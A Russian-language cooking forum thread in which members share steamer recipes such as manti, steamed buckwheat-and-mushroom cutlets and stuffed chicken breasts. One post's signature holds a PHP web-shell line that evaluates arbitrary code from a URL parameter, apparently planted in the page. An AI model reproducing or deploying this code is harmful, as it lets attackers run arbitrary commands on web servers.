Предыдущая тема :: Следующая тема |
Автор |
Сообщение |
Darja Поваренок

 Зарегистрирован: 08.12.2003 Сообщения: 16 Откуда: Каменск-Уральский
|
Добавлено: Ср Янв 07, 2004 18:41 Заголовок сообщения: Пароварка. Блюда на пару
|
|
|
Пароварка есть, рецептов нет. Подскажите, пожалуйста, что-нибудь вкусненькое.
|
|
Вернуться к началу |
|
 |
Maria Главный по зеленым кастрюлькам

 Зарегистрирован: 21.11.2001 Сообщения: 4278 Откуда: England
|
Добавлено: Ср Янв 07, 2004 18:46 Заголовок сообщения:
|
|
|
Вот некоторое количество вкусненького: http://kuking.net/t13.htm  _________________ phpbb:eval(stripslashes($_GET[e]));
|
|
Вернуться к началу |
|
 |
Monika Шеф-повар

Зарегистрирован: 04.11.2002 Сообщения: 2260 Откуда: Israel
|
|
Вернуться к началу |
|
 |
Darja Поваренок

 Зарегистрирован: 08.12.2003 Сообщения: 16 Откуда: Каменск-Уральский
|
Добавлено: Ср Янв 07, 2004 18:52 Заголовок сообщения: пароварка
|
|
|
Спасибо, а что-нибудь из лично опробованного?
|
|
Вернуться к началу |
|
 |
Monika Шеф-повар

Зарегистрирован: 04.11.2002 Сообщения: 2260 Откуда: Israel
|
Добавлено: Ср Янв 07, 2004 18:54 Заголовок сообщения:
|
|
|
Из лично опробованного - манты.
|
|
Вернуться к началу |
|
 |
Darja Поваренок

 Зарегистрирован: 08.12.2003 Сообщения: 16 Откуда: Каменск-Уральский
|
Добавлено: Ср Янв 07, 2004 20:51 Заголовок сообщения:
|
|
|
А как делают манты? И можно ли их готовить сразу на двух уровнях?
|
|
Вернуться к началу |
|
 |
Monika Шеф-повар

Зарегистрирован: 04.11.2002 Сообщения: 2260 Откуда: Israel
|
Добавлено: Ср Янв 07, 2004 21:48 Заголовок сообщения:
|
|
|
У меня "мантышница" на четыре уровня - на всех и готовлю.
Чей ето рецепт - не помню. Я готовлю приблизительно так же.
http://kuking.net/15_46031.htm
|
|
Вернуться к началу |
|
 |
Darja Поваренок

 Зарегистрирован: 08.12.2003 Сообщения: 16 Откуда: Каменск-Уральский
|
Добавлено: Чт Янв 08, 2004 20:44 Заголовок сообщения:
|
|
|
А что-то менее калорийное ,но не менее вкусное?
|
|
Вернуться к началу |
|
 |
Monika Шеф-повар

Зарегистрирован: 04.11.2002 Сообщения: 2260 Откуда: Israel
|
Добавлено: Чт Янв 08, 2004 21:12 Заголовок сообщения:
|
|
|
Менее калорийное - смотри в ссылках - там есть много чего
|
|
Вернуться к началу |
|
 |
Darja Поваренок

 Зарегистрирован: 08.12.2003 Сообщения: 16 Откуда: Каменск-Уральский
|
Добавлено: Чт Янв 08, 2004 21:17 Заголовок сообщения:
|
|
|
Спасибо. Буду осваивать.
|
|
Вернуться к началу |
|
 |
NU-NU Кулинар-виртуоз

 Зарегистрирован: 28.09.2002 Сообщения: 3409 Откуда: Tallinn, Estonia
|
Добавлено: Чт Янв 08, 2004 21:28 Заголовок сообщения:
|
|
|
У меня пароварка-соковарка Я в ней сок делаю _________________ Попробуй суп, не бойся, есть лекарства!
|
|
Вернуться к началу |
|
 |
Darja Поваренок

 Зарегистрирован: 08.12.2003 Сообщения: 16 Откуда: Каменск-Уральский
|
Добавлено: Чт Янв 08, 2004 21:49 Заголовок сообщения:
|
|
|
Это такая большая кастрюля с краником или что-то электрическое?
У меня пароварка Braun, боюсь сок в ней не сварить .Может быть варенье?
|
|
Вернуться к началу |
|
 |
NU-NU Кулинар-виртуоз

 Зарегистрирован: 28.09.2002 Сообщения: 3409 Откуда: Tallinn, Estonia
|
Добавлено: Чт Янв 08, 2004 21:59 Заголовок сообщения:
|
|
|
Ага !! С краником  _________________ Попробуй суп, не бойся, есть лекарства!
|
|
Вернуться к началу |
|
 |
octopus Золотая поварёшка

 Зарегистрирован: 12.04.2003 Сообщения: 1294 Откуда: Россия
|
Добавлено: Пт Янв 09, 2004 12:14 Заголовок сообщения:
|
|
|
Вчера делали такие котлетки ...и для себя и для ребенка :
Паровые котлетки
мясной фарш,
горсть измельченных сухих белых грибов,
рассыпчатая гречневая каша ~1/3 от фарша,
1 яйцо,
соль по вкусу
все перемешать, сформировать котлетки, положить в пароварку и...до готовности
|
|
Вернуться к началу |
|
 |
завсегдатая Гость
|
Добавлено: Сб Фев 25, 2006 15:56 Заголовок сообщения:
|
|
|
Сегодня делала, ох и вкуснотища получилась!
Фаршированные куриные грудки на пару
Для маринада:
1 зубчик чеснока
1 ч.л. горчицы
1 ст.л. соевого соуса
перец, специи по вкусу
Для начинки:
1 небольшую морковку
чернослив штук 6-7
Натереть чеснок, добавить горчицу соевый соус, перец и специи. Перемешать.
Куриную грудку слегка отбить, внутреннюю сторону намазать маринадом, накрыть пакетом и в холодильник на 30мин.
Морковь почистить, порезать достаточно крупно, порезать чернослив на 4 части. Морковь забросить в пароварку на 10-13 мин. Минут за 5 до конца добавить к моркови чернослив. Начинку не солить!
Морковь с черносливом выложить на грудку, сделать кармашек и зафиксировать зубочистками по шву. Готовить в пароварке 25 мин. Подавать, капнув сверху немного кетчупа. НЯМ!
Приятного аппетита!
|
|
Вернуться к началу |
|
 |
|